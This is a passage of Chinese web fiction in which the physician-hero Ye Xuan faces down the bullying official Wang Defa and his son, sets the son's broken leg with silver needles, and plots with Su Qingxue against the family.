“想活下去,就要比你的敌人,更狠,更强。”
声音遥遥传来,每一个字都清晰地烙印在柳承业的耳中。
柳承业僵在原地,如遭雷击。
寒风吹过,他只觉得浑身冰冷,可内心最深处,却又有一簇微弱的火苗,被叶玄的话给悍然点燃了。
比敌人更狠,更强……
他看着叶玄消失的背影,又想了想病愈后笑靥如花的女儿,最终,眼中那浓得化不开的恐惧,渐渐被一抹疯狂的决绝所取代。
赌了!
他柳承业这辈子,谨小慎微,从未行差踏错一步。
可为了女儿,为了柳家,今天,他就陪着这位深不可测的叶公子,疯一次!
“来人!”
柳承业猛地一跺脚,对着府内高声嘶喊,声音因为激动而剧烈颤抖。
“传我的话,府中上下,立刻开始准备!”
“把库房里最好的东西都给我拿出来!把城里最好的厨子、最好的歌舞伎都给我请来!”
“另外,拟请柬!城中所有官绅名流,有一个算一个,全部给我请到!”
管家和下人们闻声赶来,听到家主这番话,全都面面相觑,以为家主是受了刺激,失心疯了。
“老爷,这……这万万不可啊!王德发那边……”
“按我说的办!”
“就说我柳家为了庆祝小女月雪顽疾尽去,特设宴席,一来是感谢神医,二来是与全城同乐!”
“快去!”
看着家主那近乎癫狂的模样,下人们不敢再劝,只能满心惶恐地领命而去。
一时间,整个柳府都陷入了一种诡异的忙碌之中。
红绸与灯笼高高挂起,美酒与佳肴流水般备下,看似喜气洋洋,却处处透着一股山雨欲来风满楼的死寂与压抑。
……
与此同时。
云安城兵马司衙门。
天刚破晓,一队人马便已集结完毕。
为首的,正是兵马司副指挥使,王德发。
他身着一身厚重的铁甲,腰挎钢刀,满脸横肉,煞气腾腾。
但在他的身后,却跟着十几名家丁,每个人都抬着沉甸甸的箱子,箱子上贴着大红的喜字,里面装满了金银珠宝、绫罗绸缎、珍奇药材。
这支队伍,一半是杀气,一半是喜气,显得不伦不类,诡异至极。
“都准备好了吗?”王德发声音粗犷如雷,震得人耳膜生疼。
老管家连忙上前,躬身道:“回老爷,都备妥了,全是库里最好的东西,足够彰显我们的诚意了。”
“诚意?”
王德发冷哼一声,眼中闪过一丝屈辱与暴戾。
“治得好,这叫诚意。”
“治不好,这就叫陪葬品!”
若不是为了自己那宝贝儿子的腿,他在云安城内,何时对人这般低三下四过!
老管家心中一颤,连忙劝道:“老爷息怒,少爷的腿要紧啊!那可是位能治好柳小姐绝症的神医,咱们万万得罪不起,姿态一定要放低啊!”
王德发狠狠地朝着地上啐了一口。
“哼!”
“走!”
他一挥马鞭,怒吼一声,率先朝着柳府的方向而去。
队伍浩浩荡荡,穿过清晨的街道,引得无数百姓侧目,纷纷猜测这王老虎又是要上哪家作威作福。
很快,柳府的大门便遥遥在望。
当看到柳府门前张灯结彩,一片喜庆的模样时,王德发愣住了。
他身后的管家和兵士们也都愣住了。
这是什么情况?
柳家办喜事?
没听说过啊!
王德发阴沉着脸,大步流星地闯了进去,声音响彻整个柳府前厅。
“柳承业!”
“你府上张灯结彩,是听说我儿的腿断了,特地设宴庆祝吗?!”
柳承业听到这声音,脸色瞬间一白,连忙从厅内冲了出来。
“误会,王大人,这都是天大的误会啊!”
“是小女顽疾得愈,小人这是……这是在准备感谢神医的宴席啊!”
“神医?”
王德发眼睛一眯,杀气稍敛,他今天来的目的,正是为此。
他一把推开柳承业,冷冷地说道:“少他娘的废话!治好你女儿的神医,就在你府上?”
“是……是的。”柳承业连连点头,心已经提到了嗓子眼。
“带我去见他!”王德发语气不容置疑,“我儿子王腾的腿,让他治!若是治好了,老子重重有赏!若是治不好……”
他没有说下去,但那眼神中的杀意,已经说明了一切。
柳承业心中叫苦不迭,只能硬着头皮在前面引路。
“王大人,这边请。”
穿过几道回廊,一行人来到了叶玄所住的僻静小院。
院子里,叶玄正悠闲地坐在石桌旁,慢条斯理地品着茶。
苏轻雪一袭白衣,立于其身侧,神情清冷,宛如画中仙子,遗世而独立。
听到脚步声,叶玄连头都未抬,只是淡淡地抿了一口茶。
王德发一踏进院子,目光瞬间就锁定了那个青衫身影。
当他看清叶玄的面容时,瞳孔骤然缩成针尖大小,滔天的怒火如同火山一般,从胸腔直冲天灵盖!
“是……你!”
就是这张脸!
这张云淡风轻,仿佛什么都未发生过的脸!
化成灰他都认得!
就是这个小杂种,在光天化日之下,当着全城人的面,打断了他儿子的腿!
什么狗屁神医!
这分明就是那个凶手!
柳承业这个老东西,竟然敢把他耍得团团转,藏匿真凶!
“来人!”
王德发彻底暴走,一声惊天怒吼,震得院中落叶纷飞。
“给!我!拿!下!”
他“呛啷”一声抽出腰间的钢刀,刀锋直指叶玄,额头青筋虬结,双目赤红如血。
他身后的兵士们“唰”的一声,齐齐拔刀,明晃晃的刀刃在晨光下反射出森冷的寒芒,整个小院的温度仿佛都降到了冰点。
柳承业双腿一软,眼前一黑,直接瘫倒在地,面如死灰。
完了。
全完了。
然而,就在这剑拔弩张,一触即发的死寂时刻。
叶玄,终于放下了手中的茶杯。
杯盏与石桌碰撞,发出一声清脆的轻响。
他缓缓抬起眼,看着暴怒如狂的王德发,嘴角甚至还勾起了一抹玩味的弧度。
“王大人,火气这么大。”
“是来求医的,还是来求死的?”
第37章 逆子!!
整个院落,陷入了一片死一般的寂静。
空气仿佛凝固,只有那十几把钢刀反射的寒芒,在无声地诉说着致命的危险。
柳承业瘫在地上,表情十分难看。
王德发的胸膛剧烈地起伏着,粗重的喘息声像是破旧的风箱,一双铜铃般的眼睛死死地盯着叶玄,眼中的怒火与杀意几乎要凝为实质。
杀了他!
这个念头在他的脑海中疯狂叫嚣!
可叶玄那句轻飘飘的话,却像一道无形的枷锁,死死地扼住了他即将挥下的屠刀。
儿子的腿!
那可是他王德发唯一的香火,是他全部的希望!
若是杀了眼前这个小子,腾儿的腿就真的废了!他王家,也差不多废了一半!
这个认知,像一桶冰水,让他沸腾的理智稍稍冷却。
他能爬到兵马司副指挥使这个位置,靠的不仅仅是蛮力。
眼前这个年轻人,从始至终,脸上都没有一丝一毫的恐惧。
这份镇定,这份从容,绝不是一个普通人能装出来的。
王德发眯起了眼睛,眼中的杀意缓缓收敛,取而代之的,是一种更加阴沉和危险的审视。
他盯着叶玄,仿佛要将他从里到外看个通透。
良久,他那张横肉丛生的脸上,挤出一个比哭还难看的笑容,声音沙哑而低沉。
“好,好小子。”
“有种!”
他缓缓地,将已经指到叶玄胸前的钢刀收了回来。
他身后的兵士们见状,虽然不明所以,但也跟着收起了刀。
那股几乎要将人撕裂的杀气,瞬间消散了大半,但院中的气氛,却愈发压抑诡异。
王德发深吸一口气,强行压下心中的滔天怒火,一字一顿地说道:“小子,我不管你是什么来路。”
“现在,你跟我回府,治好我儿子的腿。”
他说到这里,顿了顿,眼中闪过一抹狰狞的狠厉。
“事成之后,今天你冲撞本官,以及打伤我儿的事,可以一笔勾销。”
“不过……”
他话锋一转,语气森然。
“死罪可免,活罪难逃。”
“你自己,自断一腿,这件事,就算过去了!”
自断一腿!
这四个字,他说得轻描淡写,却透着一股不容置喙的霸道与残忍。
在他看来,这已经是他王德发这辈子做出的最大让步!
瘫在地上的柳承业听到这话,心中刚刚燃起的一丝希望,瞬间又被浇灭。
完了,这下彻底谈崩了!
然而,出乎所有人意料的是。
叶玄闻言,非但没有动怒,反而笑了。
他先是低声地笑,随后笑声越来越大,越来越放肆,仿佛听到了这个世界上最好笑的笑话。
“哈哈……哈哈哈哈!”
清朗的笑声在小院中回荡,充满了毫不掩饰的嘲弄与不屑。
王德发的脸色,瞬间由青转紫,再由紫转黑,握着刀柄的手背上,青筋如虬龙般根根暴起。
“你笑什么!”他从牙缝里挤出这几个字,仿佛一头即将失控的野兽。
叶玄终于止住了笑,他看着王德发,那眼神,就像在看一只在米缸里耀武扬威的耗子。
“王德发,我笑你可怜,而不自知。”
“什么?”王德发愣住了。
“我问你,你是不是觉得,你今天放我一马,只让我断一条腿,已经是天大的恩赐了?”叶玄的嘴角噙着一抹冰冷的弧度。
王德发没有说话,但那神情,显然是默认了。
“那你再想想。”
叶玄的声音不大,却像一记记重锤,狠狠砸在王德发的心上。
“我,能治好柳家小姐连京都御医都束手无策的绝症。”
“我,敢在光天化日之下,打断你宝贝儿子的腿。”
“我,现在面对你和你这十几把钢刀,面不改色。”
叶玄向前踏出一步,目光陡然变得锐利如刀,直刺王德发的内心深处。
“你告诉我。”
“你凭什么觉得,你有资格,跟我谈条件?”
轰!
王德发只觉得脑子里一声巨响,整个人如遭雷击,下意识地后退了半步。
是啊……
他凭什么?
一直以来,他都被愤怒冲昏了头脑,只想着对方打了自己的儿子,自己就要报复回来。
可他却忽略了最根本的问题。
对方,为什么敢?
一个能治好柳月雪绝症的神医,一个面对十几把的屠刀都谈笑自若的年轻人……
这样的人,会是一个可以任由自己拿捏的软柿子吗?
恐惧,如同藤蔓一般,悄无声息地从王德发的心底开始蔓延。
“你……你到底是什么人?”他的声音,带上了一丝自己都未曾察觉的颤抖。
叶玄笑了笑,没有直接回答他的问题,反而话锋一转。
“王大人,听说你大字不识一个,所以拼了命地想让你儿子读书考取功名,光宗耀祖,对吗?”
这句话,精准地戳中了王德发内心最柔软,也最自卑的地方。
他的脸色瞬间涨红,怒道:“这与你何干!”
“当然与我有关。”叶玄悠悠地说道,“因为你正在亲手毁掉你唯一的希望。”
“你!”
“你希望他成为一个知书达理的读书人,可你却将他纵容成一个当街强抢民女的恶霸。”
“你希望他光耀门楣,可你现在的所作所为,却是在为整个王家,掘好了坟墓!”
叶玄的声音陡然转冷。
“对了,悄悄告诉你一个消息,你知道你儿子在街上惹到的人除了我之外,还有谁吗?”
“谁?”
王德发此时此刻已经完全被叶玄牵着鼻子走,下意识的询问道。
叶玄凑近王德发的耳朵,轻轻的说道
“当朝首辅之女,京城第一才女,苏轻雪!”
王德发听道苏轻雪这三个字,瞳孔一缩!
谁?
首辅之女?
她怎么会出现在这里?
完了!
这一刻,王德发的脑海中已经想到了数十种死法。
要是叶玄说的是真的话,那么自己区区一个兵马司副指挥使,不是直接完蛋了嘛!
这个逆子!!
第38章 委曲求全的王德发
王德发感觉自己的后背,瞬间就被冷汗浸透了。
完了!
这两个字,如同两座大山,轰然压在他的心头,让他几乎喘不过气来。
首辅之女!
苏轻雪!
他虽然大字不识一个,但当朝首辅苏长青的大名,他如雷贯耳!
那是真正的一人之下,万人之上!
跺一跺脚,整个大乾官场都要抖三抖的通天大人物!
而自己的逆子,竟然当街调戏首辅的千金?
这已经不是找死那么简单了。
这是拖着整个王家,一起跳进了万丈深渊!
他之前所有的愤怒,所有的杀意,在这一刻,都化作了无边的恐惧,如同潮水般将他淹没。
他终于明白,为什么眼前这个年轻人敢如此有恃无恐。
他终于明白,为什么对方的眼神里,自始至终都带着一丝若有若无的怜悯。
人家,是在可怜他这个死到临头而不自知的蠢货啊!
叶玄看着王德发那张由黑转青,再由青转白的脸,嘴角的弧度愈发冰冷。
他向前逼近一步,声音不大,却字字诛心。
“王大人,现在,你还想和我谈条件吗?”
“你还觉得,让你自断一腿,是对我的恩赐吗?”
王德发的身子猛地一颤,双腿一软,竟是差点步了柳承业的后尘,直接瘫倒在地。
他看着叶玄,那眼神,已经不再是愤怒与审视,而是带上了一种近乎哀求的惊恐。
“扑通!”
王德发身后的一个亲兵,因为过度紧张,手中钢刀没握稳,掉在了地上,发出一声刺耳的脆响。
这声脆响,也彻底击溃了王德发最后一道心理防线。
他脸上横肉剧烈地抽搐着,努力挤出一个比哭还要难看的笑容,那声音沙哑得像是被砂纸磨过一样。
“不……不敢……”
“是……是在下有眼不识泰山,冲撞了神医!”
“神医大人有大量,还请……还请您高抬贵手,救救我那不成器的儿子!”
他深深地弯下了腰,那颗高傲的头颅,终于低了下来。
姿态之卑微,语气之诚恳,与刚才那副要将叶玄碎尸万段的模样,判若两人。
他身后的那些兵士,一个个面面相觑,大脑一片空白。
他们完全无法理解,为什么自家那个在云安城横着走的副指挥使大人,会对着一个年轻人,怕成这个样子。
叶玄看着他这副模样,心中毫无波澜。
这就是他要的效果。
要让敌人恐惧,就必须先击碎他所有的依仗和骄傲。
“现在知道求我了?”
叶玄淡淡地说道,语气中听不出喜怒。
“是是是!”王德发连连点头,像个捣蒜的锤子,“求神医出手,求神医救命!”
“好。”
叶玄终于松了口。
“看在你一片爱子之心的份上,我就跟你走一趟。”
王德发闻言,顿时如蒙大赦,脸上露出一丝劫后余生的狂喜。
然而,叶玄接下来的话,却让他心头一凛。
“不过,我治病,有我的规矩。”
“至于是什么规矩,到了你家,你自然就知道了。”
说完,叶玄不再看他,转身迈步。
在与苏轻雪擦肩而过的一瞬间,他给了她一个意味深长的眼神。
苏轻雪的心猛地一跳。
她读懂了那个眼神里的意思。
——别忘了我们昨晚说好的事。
那个疯狂的计划,再一次浮现在她的脑海。
诬告王德发意图谋反!
这个计划,简直是天方夜谭,胆大包天到了极致!
可看着叶玄那自信从容的背影,苏轻雪那颗本该充满疑虑和恐惧的心,不知为何,竟是安定了下来。
她不知道叶玄到底要如何将这弥天大谎变成事实。
但她选择相信他。
或者说,她已经没有别的选择。
苏轻雪垂下眼帘,对着叶玄离去的方向,几不可查地,轻轻点了点头。
……
王家大院。
奢华,却透着一股子俗气。
这是叶玄踏入王家大门后的第一印象。
王德发一路躬着身子,在前面引路,姿态放得极低,口中不断地喊着“神医这边请”,生怕有半点怠慢。
府内的下人看到自家老爷这副模样,一个个惊得眼珠子都快掉出来了。
穿过几重庭院,一股浓烈的药味混合着血腥气,扑面而来。
“神医,犬子就在里面。”
王德发指着一间房门紧闭的屋子,脸上满是焦急和期盼。
叶玄点了点头,推门而入。
房间内,一片狼藉。
名贵的瓷器碎了一地,桌椅东倒西歪,空气中弥漫着一股令人作呕的污浊之气。
而在那张华丽的大床上,一个肥胖的身影正在疯狂地扭动挣扎,口中发出野兽般的嘶吼。
正是王腾。
他的右腿被木板草草地固定着,但剧烈的疼痛,早已让他失去了理智。
“废物!一群废物!连个大夫都找不到!我爹养你们这群狗有什么用!”
“啊啊啊!疼死我了!疼死我了!”
他一边咒骂着,一边将手边能拿到的一切东西,都狠狠地砸向地面。
几个侍女和家丁战战兢兢地缩在角落,不敢上前。
“腾儿!”
王德发看到儿子这副惨状,心疼得眼圈都红了,连忙冲了过去。
“爹请来神医了!你的腿有救了!”
王腾听到“神医”二字,这才勉强停止了嘶吼,他通红的双眼,费力地朝着门口望去。
当他的目光,与门口那个云淡风轻的年轻身影交汇时。
整个房间的空气,仿佛在这一刹那,凝固了。
王腾脸上的痛苦表情,瞬间被无尽的错愕与怨毒所取代。
他伸出颤抖的手,死死地指着叶玄,因为过度激动,声音都变得尖利刺耳。
“是……是你!”
“爹!就是他!就是这个杂种打断了我的腿!”
短暂的震惊之后,是火山爆发般的愤怒!
王腾的五官扭曲在一起,面目狰狞地对王德发疯狂咆哮。
“爹!你还愣着干什么!”
“他就是凶手!你不是带了人来吗?”
“杀了他!快给我杀了他!!”
“我要让他死!我要把他千刀万剐!!”
王德发看着自己儿子的疯狂咆哮,当下也是一巴掌甩了过去。
“闭嘴!”
第39章 上书京城
“啪!”
清脆的耳光声,在狼藉的房间内回荡,显得格外刺耳。
空气,仿佛在这一瞬间凝固了。
王腾捂着火辣辣的脸颊,整个人都懵了,他难以置信地看着自己的父亲,那双通红的眼睛里,充满了震惊与不解。
从小到大,父亲何曾动过他一根手指头?
王德发的手掌在微微颤抖,打在儿子的脸上,痛在他自己的心里,但此刻,他别无选择。
他深吸一口气,强行压下心中的万千情绪,转过身,脸上瞬间堆起了近乎谄媚的笑容。
“神医,犬子……犬子他不懂事,被疼痛冲昏了头,胡言乱语,您千万别往心里去!”
他一边说,一边回身,一把揪住王腾的头发,将他那颗硕大的头颅,硬生生朝着叶玄的方向按了下去。
“逆子!还不快给神医磕头道歉!”
王腾的额头重重地磕在床沿上,发出“咚”的一声闷响,剧痛让他龇牙咧嘴,但更让他感到屈辱的,是父亲那不容置疑的命令。
“爹……你……”
“道歉!”
王德发的声音嘶哑而低沉,充满了警告的意味。
王腾从父亲的眼神里,看到了一丝自己从未见过的恐惧,那恐惧让他心底发寒,最终还是不情不愿地从牙缝里挤出几个字。
“对……对不起……”
这三个字,轻如蚊蚋,充满了无尽的怨毒与不甘。
王德发却像是没听出来一样,立刻松开手,再次对着叶玄点头哈腰,那张横肉丛生的脸,笑得像一朵盛开的菊花。
“神医您看,他已经知错了,还请您……还请您大人有大量,尽快为他医治吧!”
叶玄的目光,从始至终都未曾有过半分波动。
他仿佛没有看到这对父子上演的闹剧,只是淡淡地扫了一眼王德发。
“我治病的时候,不喜欢有人在旁边打扰。”
“是是是!我们明白!我们这就出去!”
王德发如蒙大赦,连声应道。
他不敢有丝毫的迟疑,立刻转身,对着房间里那些早已吓傻的家丁侍女,厉声喝道:“都还愣着干什么?滚!全都给我滚出去!”
一声令下,众人如鸟兽散,连滚带爬地冲出了房间。
王德发亲自将房门小心翼翼地关上,那动作,轻柔得仿佛生怕惊扰了里面的叶玄。
站在紧闭的房门外,走廊里的风一吹,王德发才感觉到,自己的后背早已被冷汗湿透。
他脸上的谄媚笑容,瞬间消失得无影无踪,取而代之的,是一片化不开的阴沉与凝重。
他侧过头,对着身后一直默不作声的老管家,压低了声音,用只有两人能听到的音量,急促地吩咐道:
“王福。”
“老爷。”老管家躬身应道。
“马上去鸽房,用最快的那只海东青,传信给京城的陈老三”
王德发的眼神里,闪烁着一丝精明与狠厉。
“让他帮我查清楚一件事!”
“当朝首辅苏长青的千金,苏轻雪,最近……是否真的离开了京城!”
“告诉他,此事十万火急,明天之前,我必须要得到准确的消息!”
老管家浑身一震,眼中闪过一丝骇然,但他没有多问一个字,只是重重地点了点头。
“是,老爷,老奴这就去办。”
说完,他便快步转身,身影迅速消失在庭院的阴影之中。
王德发看着老管家离去的方向,双拳在袖中死死攥紧。
他王德发能在云安城混到今天这个位置,靠的绝不仅仅是蛮力。
首辅千金?
这个名头太大,太吓人,足以压垮他的一切。
但他,必须要求证!
如果那小子说的是真的,他王德发认栽,哪怕是倾家荡产,也要平息苏家的怒火。
可如果……如果那小子是在虚张声势,是在诈他……
王德发的眼中,杀机一闪而逝。
那他会让那个不知天高地厚的小子,知道什么叫做真正的求生不得,求死不能!
……
房间之内。
随着房门关闭,最后一丝光亮也消失了。
压抑的气氛中,只剩下王腾粗重的喘息声。
没有了父亲的压制,他心中的怨毒与怒火,如同野草般疯狂滋生。
“你到底对我爹下了什么迷魂汤!”
王腾死死地瞪着叶玄,面目狰狞地咆哮着。
“你以为这样就能唬住我?等我爹反应过来,你死定了!我告诉你,等我的腿好了,我一定要把你……”
叶玄根本没有理会他的叫嚣。
他只是迈着从容的步子,一步一步,缓缓地朝着大床走来。
他的脚步很轻,落在地板上,几乎听不到声音,但在王腾的耳中,却像是死神敲响的丧钟,一声声,都砸在他的心上。
“你……你想干什么?”
王腾的声音,不自觉地带上了一丝颤抖。
叶玄不语,只是走到了床边,居高临下地看着他,那眼神,冰冷得像是在看一个死物。
突然,叶玄伸出手。
他的动作不快,却让王腾的瞳孔猛地一缩。
那只手,精准无比地按在了他那条被打断的右腿之上,那处用木板草草固定的骨折处。
“啊——!”
撕心裂肺的惨叫,瞬间冲破了王腾的喉咙!
那是一种无法用言语形容的剧痛,仿佛有无数根钢针,在疯狂地搅动他的骨髓!
“现在,你这条小命,还有你这条腿,都在我的手里。”
叶玄的声音,很轻,很淡,却带着一股子令人灵魂战栗的寒意。
“我奉劝你,最好老实一点,否则,我不介意让它断得更彻底一些。”
“你……你敢!”
剧痛之下,王腾依旧色厉内荏地嘶吼着,“这里是王家!你敢在我的地盘动我?我爹就在外面!来人啊!救……”
他的呼救声,戛然而止。
只见叶玄屈指一弹,一道无形的气劲,精准地点在了王腾的哑穴上。
王腾的嘴巴依旧大张着,喉咙也在拼命地鼓动,却发不出任何一丝一毫的声音。
世界,瞬间安静了。
只剩下他那双因为极致恐惧而瞪得滚圆的眼睛。
他怕了。
他真的怕了!
这个年轻人,手段诡异,心性狠辣,他根本就不是什么神医,他是一个魔鬼!
叶玄漠然地看着他脸上由狰狞转为惊恐,最后化为绝望的表情,这才缓缓收回了手。
他看着那条已经有些红肿发黑的断腿,微微皱了皱眉。
“哼,简单的断骨,却因为你的胡乱挣扎,伤了筋脉。”
“你这条腿,若是再晚半天,就算是神仙来了,也只能等着烂掉。”
“能遇上我,是你这辈子最大的运气。”
“虽然是我把你腿打断的。”
说完,叶玄不再看他,而是自顾自地从怀中取出一个布包,缓缓展开。
一排长短不一,粗细各异的银针,在昏暗的烛光下,闪烁着森然的寒芒。
王腾躺在床上,口不能言,身不能动,只能眼睁睁地看着叶玄捏起一根最长的银针,朝着他血肉模糊的断腿,缓缓刺下。
无边的恐惧,瞬间将他彻底淹没。
第40章 腿“接”好了
银针刺入血肉的声音,轻微,却清晰地传入王腾的耳中。
他以为会是新一轮的剧痛,已经做好了再次惨叫的准备。
然而,预想中的痛苦并未降临。
取而代之的,是一种难以言喻的酥麻感,仿佛有一股温热的细流,顺着银针刺入的地方,缓缓流淌开来,所过之处,那撕心裂肺的痛楚竟如潮水般迅速退去。
王腾瞪大了眼睛,满是不可思议。
叶玄神色不变,手指在针尾轻轻一捻,又一根银针刺入另一处穴位。
麻痒的感觉愈发清晰,痛感则在飞速消散。
不过短短几个呼吸的时间,那折磨得他死去活来的剧痛,竟然消失得无影无踪,只剩下一种轻微的、仿佛不属于自己的麻木感。
这……这是什么神仙手段?
王腾心中的恐惧,不知不觉间被巨大的震惊所取代。
他看着叶玄那张古井无波的脸,第一次感觉到,或许……他真的再给我接腿?!
叶玄没有理会他变幻莫测的眼神,在接连刺下七八根银针,彻底屏蔽了王腾断腿处的痛觉神经后,他伸出双手,一左一右,握住了王腾的小腿。
“咔嚓!……咔嚓!”
两声清脆的骨骼复位声响起。
王腾浑身一僵,下意识地就想嘶吼,却发现除了那一声骇人的声响外,自己竟感觉不到丝毫的疼痛。
“骨头接上了。”叶玄的声音淡漠如初,“但筋脉受损,需要静养。”
说完,他便熟练地将那些银针一一拔出,随手从床边撕下一大块干净的床单,化作绷带,将王腾的右腿连同固定的木板一起,牢牢地包裹了起来。
他的动作行云流水,缠绕的绷带松紧有度,看上去竟有几分专业医者的架势。
做完这一切,叶玄拍了拍手上的灰尘,居高临下地看着他。
“记住,从现在开始,一个月之内,这条腿不能有任何剧烈的活动。”
“否则,骨头错位,筋脉尽断,到那时,大罗金仙来了,也只能眼睁睁看着它烂掉。”
“后果,你自己承担。”
冰冷的话语,不带一丝感情,却比任何威胁都更有分量。
王腾下意识地咽了口唾沫,重重地点了点头。
叶玄见他老实了,这才屈指一弹,解开了他的哑穴。
“好了。”
他丢下两个字,便径直转身,朝着房门走去。
王腾躺在床上,喉咙恢复了知觉,张了张嘴,却一个字也说不出来,只能眼睁睁看着那个如同魔神般的背影,拉开了房门。
……
门外。
王德发正如同热锅上的蚂蚁,焦躁不安地来回踱步。
房门内偶尔传出的那声骨骼脆响,更是让他心惊肉跳,几乎要忍不住破门而入。
“吱呀——”
房门终于开了。
王德发猛地停下脚步,紧张地望了过去。
叶玄神色淡然地从里面走了出来,仿佛只是去邻居家串了个门。
“神……神医?”王德发连忙迎了上去,脸上挤出比哭还难看的笑容,声音都有些发颤,“犬子他……他的腿怎么样了?”
“骨头已经接上了。”叶玄淡淡地说道,“接下来一个月,好生静养,不可乱动,否则神仙难救。”
“是是是!一定!一定静养!”王德发如蒙大赦,连连点头,心中的一块巨石总算是落了地。
只要腿能保住,一切都好说。
他侧过身,恭敬地做出一个“请”的手势:“神医大恩大德,王某没齿难忘!我这就送您出府!”
叶玄不置可否,迈步前行。
王德发亦步亦趋地跟在身后,态度谦卑到了极点,亲自将叶玄送到了王家大院的门口。
看着叶玄的身影消失在街道的尽头,王德发脸上的谄媚笑容才缓缓收敛,化作一片深不见底的阴沉。
他站在原地,沉默了许久,这才猛地转身,大步流星地朝着王腾的房间赶去。
……
房间内。
王腾正小心翼翼地活动着自己的脚趾。
他惊奇地发现,除了有些麻木之外,自己的腿真的不疼了!
那种失而复得的感觉,让他欣喜若狂。
先前对叶玄的恐惧和怨毒,也因为腿伤的“痊愈”而淡化了不少。
“砰!”
房门被一把推开,王德发带着一身寒气走了进来。
“爹!”王腾看到父亲,立刻兴奋地想要坐起来,“我的腿!我的腿真的好了!那个神医……”
“闭嘴!”王德发一声怒喝,打断了他的话。
王腾被吼得一愣,脸上的兴奋顿时僵住了。
“爹,你……你怎么了?”
王德发三步并作两步冲到床前,死死地盯着他,那眼神,像是要吃人一样。
“我问你,你感觉怎么样?”
“没……没痛了,真的不痛了。”王腾有些畏惧地答道。
确认了儿子的腿暂时无碍,王德告诫心中的担忧稍减,但怒火却烧得更旺了。
他指着王腾的鼻子,破口大骂:“你这个逆子!蠢货!你知不知道你今天差点把我们整个王家都给害死!”
王腾彻底懵了,他不明白,自己的腿都好了,父亲为什么还发这么大的火。
他不服气地小声辩解道:“爹,你干嘛对他那么低声下气的?不就是一个会点医术的江湖郎中吗?等我的腿好了,我……”
“你还想怎么样!”王德发气得浑身发抖,扬起手就想再给他一巴掌,但看到他那条缠着绷带的腿,最终还是强行忍住了。
“你以为老子愿意对他低头?你以为老子愿意看着打断你腿的仇人,还要把他当祖宗一样供着?”
王德发的声音嘶哑,充满了屈辱与后怕。
“你知不知道!你知不知道你昨天调戏的那两个女人里面,有一个是谁!”
王腾一脸茫然:“不就是两个没有见过的外来女人吗?长得是漂亮,但能有什么了不起的背景?”
“了不起的背景?”王德发气极反笑,“我告诉你!其中一个,是当朝首辅苏长青的千金,苏轻雪!”
“当朝首辅!”
这四个字,如同一道惊雷,在王腾的脑海中轰然炸响!
他脸上的那点不服气,瞬间被无边的惊恐所取代,整个人都傻了,嘴巴张得能塞下一个鸡蛋。
“首……首辅千金?爹……你……你没开玩笑吧?”王腾的声音都在打颤。
他再蠢,也知道“当朝首辅”这四个字意味着什么。
那是真正的一人之下,万人之上!权倾朝野,可以说是皇帝最信任的臣子了!
别说他爹只是个小小的兵马司副指挥使,就算是云安城的城主,在首辅大人面前,也跟一只蚂蚁没什么区别!
“我拿我们王家的性命跟你开玩笑?”王德发咬牙切齿地说道,“这是那个叶潜渊亲口说的!你现在知道,我为什么要对他那个态度了吗?你现在知道,你这个逆子,闯了多大的祸了吗!”
王腾的脸色,瞬间变得惨白如纸,没有一丝血色。
冷汗,从他的额头涔涔而下。
他终于明白了。
他终于明白为什么父亲会怕成那个样子,为什么会逼着自己给仇人下跪道歉!
如果那个女人真的是首辅千金,那他昨天当街调戏人家,还要强抢……
这已经不是断一条腿能解决的问题了,这是要掉脑袋的!是要诛九族的!
“我……我不知道啊……”王腾带着哭腔,惊恐地辩解道,“爹!我真的不知道她是首辅千金啊!我要是知道,给我一百个胆子我也不敢啊!”
他现在是真的怕了,那种对死亡的恐惧,让他浑身冰冷。
他忽然想起一件事,像是抓住了最后一根救命稻草,急切地问道:“爹!那小子……那小子说的是真的吗?那个女人,她……她真的是首辅千金?会不会是他在诈我们?”
王德发的脸色阴沉得能滴出水来。
他沉默了片刻,才缓缓地开口,声音无比凝重。
“我不知道。”
“但是,我们赌不起。”
“不过你放心,”王德发的眼中,闪过一丝独属于他的精明与狠厉,“我已经动用了京城的关系,派了最快的海东青传信,去查那个苏轻雪的底细。”
“最迟明天,就会有消息传来。”
“如果……那个姓叶的小子说的是真的,”王德发深吸一口气,眼神中满是屈辱与决绝,“那我们就倾家荡产,也要把这件事平息下去!”
“可如果……”
他的话没有说完,但房间里的温度,却仿佛在瞬间降到了冰点。
王腾看着父亲眼中那一闪而逝的凛冽杀机,不由得打了个寒颤。
他知道,如果那个叶潜渊是在撒谎,那么等待他的,将会是比下地狱还要凄惨一万倍的下场!
现在,他们父子俩的性命,整个王家的未来,全都悬在了那一只飞往京城的海东青身上。
第41章 谁管你死活?
柳府,正厅。
灯火通明,却驱不散空气中凝重的气息。
柳承业坐立不安,端起茶杯又放下,茶水早已冰凉。
柳月雪则站在门边,不停地朝着府门的方向张望,清秀的脸蛋上写满了担忧与焦急。
苏轻雪静静地坐在一旁,手中捧着一杯温茶,袅袅升起的热气模糊了她绝美的容颜,也掩盖了她眼底深处那细微的波澜。
终于,熟悉的脚步声从门外传来。
是叶玄回来了。
“叶公子!”
柳月雪第一个迎了上去,清澈的眼眸里满是关切,上上下下地打量着他,生怕他受了半点伤害。
“你没事吧?王家的人……他们没有为难你吧?”
柳承业也连忙起身,快步走了过来,脸上堆着讨好的笑容,语气却难掩紧张:“叶公子,您回来了,那……王家那边……”
他最怕的就是叶玄一去不回,那他们柳家可就真的大祸临头了。
叶玄的脸色看起来有些苍白,神情略带疲惫,对着两人微微摇了摇头。
“没事了。”
他淡淡地说道,声音不高,却有着一种让人心安的力量。
“王家的事已经解决,柳伯父不必担心。”
听到这话,柳承业高悬的心总算放回了肚子里,长长地舒了一口气,整个人都像是虚脱了一般。
解决了就好,解决了就好啊!
“我有些乏了,想先回去休息。”
叶玄没有多做解释,丢下这句话,便迈步朝着自己的院落走去。
经过苏轻雪身边时,他的脚步没有丝毫停顿,只是视线不着痕迹地与她交汇了一瞬,轻轻点了点头。
一个只有他们两人才懂的信号。
苏轻雪端着茶杯的手指微微一紧,随即又缓缓松开,眼帘低垂,掩去了眸中的精光。
柳月雪看着叶玄那略显疲惫的背影,径直走向听雨轩的方向,明亮的眼眸中,流露出一丝难以掩饰的依依不舍。
她很想跟上去,却又怕打扰他休息。
片刻后,苏轻雪也缓缓站起身来。
“柳伯父,我也有些倦了,先告辞了。”
她找了个借口,对着柳承业微微颔首,便转身离开了大厅。
月色如水,洒在通往听雨轩的青石小径上。
苏轻雪的脚步轻盈而迅速,很快便来到了那座僻静的院落之外。
院门虚掩着,里面透出一点昏黄的灯光。
